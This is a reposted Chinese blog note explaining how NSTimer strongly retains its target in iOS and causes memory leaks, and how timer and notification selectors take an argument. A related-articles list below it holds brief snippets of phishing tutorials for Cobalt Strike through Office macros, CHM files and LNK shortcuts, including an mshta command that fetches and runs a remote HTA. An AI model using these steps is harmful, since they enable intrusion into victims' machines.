NSTimer注意内存泄露(真该死)

  

NSTimer可以用来执行一些定时任务,比较常用的方法就是:

+ (NSTimer *)timerWithTimeInterval:(NSTimeInterval)ti target:(id)aTarget selector:(SEL)aSelector userInfo:(id)userInfo repeats:(BOOL)yesOrNo;

 

可是,仔细看官方文档中对于参数target的说明,可以看到这样一段:

target

The object to which to send the message specified by aSelector when the timer fires. The timer maintains a strong reference to this object until it (the timer) is invalidated.

也就是说,NSTimer会强引用target. 

那么如果我们按照通常的用法,在view controller中创建一个timer

self.timer = [NSTimer scheduledTimerWithTimeInterval:1 target:self selector:@selector(timerFireMethod:) userInfo:nil repeats:YES];

就会带来循环引用,viewController的dealloc()方法不会正确调用,从而导致内存泄漏。

 

所以正确的做法,如果是在view controller中持有了NSTimer的对象,那么需要确保在view controller关闭之前,执行如下方法:

[timer invalidate];

有些人推荐是在viewDidDisappear的时候调用这个方法,但在部分业务逻辑中,跳转到下一个页面的时候并不是一定需要停止这个定时器的;所以需要根据自己的需要来调整。

 

另外,多说一句,看到有些代码中使用timer的时候,定义的selector都没有定义参数的,然后根据官方文档,

The selector should have the following signature: timerFireMethod: (including a colon to indicate that the method takes an argument). The timer passes itself as the argument, thus the method would adopt the following pattern:

- (void)timerFireMethod:(NSTimer *)timer;

 

也就是说,这个selelctor实际上是需要带上timer作为参数的。

 

联想到上一篇谈到NSNotificationCenter 的文章,

- (void)addObserver:(id)observer selector:(SEL)aSelector name:(NSString *)aName object:(id)anObject;

 

里面对于selector其实也说得很清楚,也是需要带上一个参数而且只能带上一个NSNotification的对象作为参数的.

notificationSelector

Selector that specifies the message the receiver sends notificationObserver to notify it of the notification posting. The method specified by notificationSelector must have one and only one argument (an instance of NSNotification).

The End.

原文:http://www.cnblogs.com/agger0207/p/4419348.html

NSTimer 会强持有所在的 target

 

转载于:https://www.cnblogs.com/benbenzhu/p/4832651.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358240.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis漏洞利用的4种方法

Redis简介 redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remov…

系统已有MYSQL环境,如何安装宝塔面板

最近一直想搞一个在线博客网站,把代码部署到服务器。 下载己经下载了宝塔的.exe文件,安装提示系统已经存在MYSQL环境,请用纯净系统安装。 因为我以前做java的,已经装了,现在把它卸载即可。 WINR打开注册表输入regedit。 删除HK…

Mysql命令alter add:增加表的字段

alter add命令用来增加表的字段。alter add命令格式:alter table 表名 add字段 类型 其他;例如,在表MyClass中添加了一个字段passtest,类型为int(4),默认值为0: mysql> alter table MyClass add passtest int(4) …

宝塔命令号操作全-最实用的莫过于修改密码啦

连续输入五次密码错误,只能CMD进行操作啦。看上图。

swaks使用教程

Swaks基本用法: 1、swaks --to testqq.com 测试邮箱的连通性; 2、参数说明(这里只是简单的罗列了一些,至于更加具体的内容可以使用–help进行查看了解): --from testqq.com //发件人邮箱&#xff1…

具有Rx-Java的Couchbase Java SDK

关于Couchbase Java SDK的一件整洁的事情是,它建立在出色的Rx-Java库的基础上,这为与Couchbase服务器实例进行交互提供了一种反应性的方式,一旦掌握了它,它就非常直观。 考虑一个我打算存储在Couchbase中的非常简单的json文档&am…

电脑win7支持的node.js版本

从官网看了都是最新的版本,我这电脑是win7的,最新版支持最低版本win8.1. 只能找一个支持win7、的node版本。 官网:https://nodejs.org/en/download/ 历史版本:https://nodejs.org/en/download/releases/ 建议打开图标下载,打开链接下载速度特别慢。 下载完成后直接傻瓜式安…

in-place数据交换

实现in-place的数据交换 声明:引用请注明出处http://blog.csdn.net/lg1259156776/ 经典的排序问题 问题描述 一个数组中包含两个已经排好序的子数组,设计一个in-place(原位操作)算法来对这个数组排序。测试数据为 a[] 1 4 5 7 8 …

Office-DOC加载宏-上线CS

原理 将直接加载远程带有宏的恶意模版使用。 缺点 目标主机的网速决定了加载远程模版的速度。有可能文件打开的会特别慢(例如将远程模版放在github),受害者可能在文件打开一半的时候强制关闭word。优点 因为是远程加载,所以免杀效果十分不错。基本不会…

防抖函数和节流函数的实现,这个是在某保险公司笔试题遇到的。

scroll 事件本身会触发页面的重新渲染,同时 scroll 事件的 handler 又会被高频度的触发, 因此事件的 handler 内部不应该有复杂操作,例如 DOM 操作就不应该放在事件处理中。 针对此类高频度触发事件问题(例如页面 scroll ,屏幕 resize,监听用户输入等),下面介绍两种常用…

电子书-CHM-上线CS

电子书-CHM-加载JS&PS-上线CS 1.对CS进行设置 服务端配置CS-客户端打开-攻击-钓鱼攻击-脚本web传递-配置选择监听器-设置端口-选择类型为power shell-点击开始-复制生成的利用代码 2.对当前.CHM电子书进行解压 进入文件后选择任意文件夹进入 3.这里演示:进入…

正则表达式常用符号所代表的含义

{n} n次 {1,3} 1~3次 {1,} 1到多次 1到多次 ? 0到一次 * 0到多次 ^ 匹配一行开始 $ 匹配一行结束 [abc] /[abc]/ 匹配"abc"中任意一…

发布单机端DELPHI程序访问MySQL必备文件

如图: 将你的DELPHI程序和midas.dlllibmysql.dllDbxmys.dll 放在同一目录下即可.转载于:https://www.cnblogs.com/smartlittleant/p/4838327.html

java java se_Java SE 7、8、9 –推动Java前进

java java se今天(注:2011年10月4日)是主题演讲日。 JavaOne Keynote将于今早从上午8:30到10:30进行,而我的新闻通行证又一次让我很早就参加了。 因此,我有时间在所有关键球员准备就绪并可能感到紧张的同时为其拍摄一些…

css中clear的作用是什么?

clear : none | left | right | both. 对于CSS的清除浮动(clear),一定要牢记:这个规则只能影响使用清除的元素本身,不能影响其他元素。 清除浮动方法, 1,给父级元素添加class“clearflex” 2,在css中给父…

利用快捷方式-LNK-上线CS

步骤: 1、生成:Attacks -> Packages -> Html Application 2、上传:Attacks——>Web Drive by——>Host file 3、执行:C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext 4、伪装: -创建快捷方式 -生成HTA并…

基本算法研究1-冒泡排序算法测试

基本算法研究1-冒泡排序算法测试 1、经典冒泡排序法基本原理 先看一个动态图,感觉比较形象: 冒泡排序(Bubble Sort)是一种简单的排序算法。默认是从小到大排序,即把最大的数据排在最后,相当于每次把最大数据…

当margin-top、padding-top的值是百分比时,分别是如何计算的?

CSS 百分比参照问题 参照父元素宽度的元素:padding margin width text-indent 参照父元素高度的元素:height 参照父元素属性:font-size line-height 特殊:相对定位的时候,top(bottom) left(right)参照的是父元素的内容区域的高度与…

CS-证书指纹修改

cobaltstrike.store是cobalt strike的证书文件,CS是java编写的,修改证书需要Java环境,搜索keytool,把证书复制到该目录进行操作,需要cmd以管理员权限才能生成成功。 证书默认密码:123456 查看证书指纹: key…

Java中的低延迟FIX引擎

总览 Chronicle FIX是我们的Low Latency FIX引擎和Java数据库。 是什么使它与众不同? 是为Java中的超低GC *设计的。 支持字符串和日期时间的方式可以最大程度地减少垃圾和开销。 可自定义为仅包含您期望的字段。 使用通常在二进制解析器和生成器中使用的优化&…